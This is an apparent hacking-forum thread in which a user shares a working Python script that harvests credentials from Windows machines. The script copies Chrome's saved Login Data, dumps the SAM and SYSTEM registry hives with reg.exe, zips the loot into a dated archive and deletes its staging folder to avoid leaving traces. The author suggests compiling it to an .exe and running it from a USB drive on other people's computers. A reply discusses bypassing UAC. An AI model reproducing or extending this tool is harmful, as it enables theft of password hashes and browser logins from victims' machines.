[hunter122]

Hello everyone!

I know there are other projects that actually do something like this but I wanted to share the python script I created. It manages to dump SAM, SYSTEM and Chrome's Login Data (if Chrome's installed, working on other browsers to make it more complete) and store it in a .zip archive named user_encrypted_passwords_day-month-year_hour-minute-second.zip which is saved in the same directory where the attacker has the script.

This way you can convert it to a .exe file, drag it in a USB drive and start to harvest credentials if you have access to other computers.
It has just two downsides: you must run it as admin otherwise it won't collect SAM and SYSTEM files and you must have phisical access to the machine you are going to attack.
This can be avoided if you have got a shell inside the target machine and you have already escalated privileges...

I consider it a work in progress, if you have other ideas or useful critics/suggestions I will happily accept it!

Have a nice day!

Code

import shutil
import os
import zipfile
import time

#Chrome passwords are stored under %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
#Windows passwords are stored in a hash located at C:\Windows\System32\config\ there you have to retrieve SAM and SYSTEM files

#Check if the directory where we will store the files already exists, otherwise it creates it
if os.path.exists("C:\\Retrieve\\") == False:
    os.makedirs('C:\\Retrieve', mode=0777)
    

#Start retrieving the files and copy them to the previously created directory
chrome_data = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\Login Data'

def chrome():
    if chrome_data:
        shutil.copy2(os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\Login Data', 'C:\\Retrieve\\')
        return

def encryptedhashes():
    os.popen("reg.exe save hklm\\sam C:\\Retrieve\\SAM")
    os.popen("reg.exe save hklm\\system C:\\Retrieve\\SYSTEM")
    return

chrome()
encryptedhashes()

#Let's zip the directory containing the data and send it to the location of the retriever
shutil.make_archive(os.getenv("username") + "_encrypted_passwords_" + time.strftime("%d-%m-%Y") + "_" + time.strftime("%H-%M-%S"), "zip", os.getenv("CD"), "C:\\Retrieve\\")

#Now we will delete the directory where we stored the data in order not to leave traces
shutil.rmtree("C:\\Retrieve")

[SIM-2630458]

I'll check it out.

Did you manage to bypass UAC? Been trying to tamper with the autorun directory however I haven't been able to bypass UAC/permissions even if I run my scipt as admin.

[hunter122]

I still have not managed to bypass UAC, I'm wondering whether if it's even possible... My assumption is that when you use this script you have physical access to the target machine so you can authorize admin privs...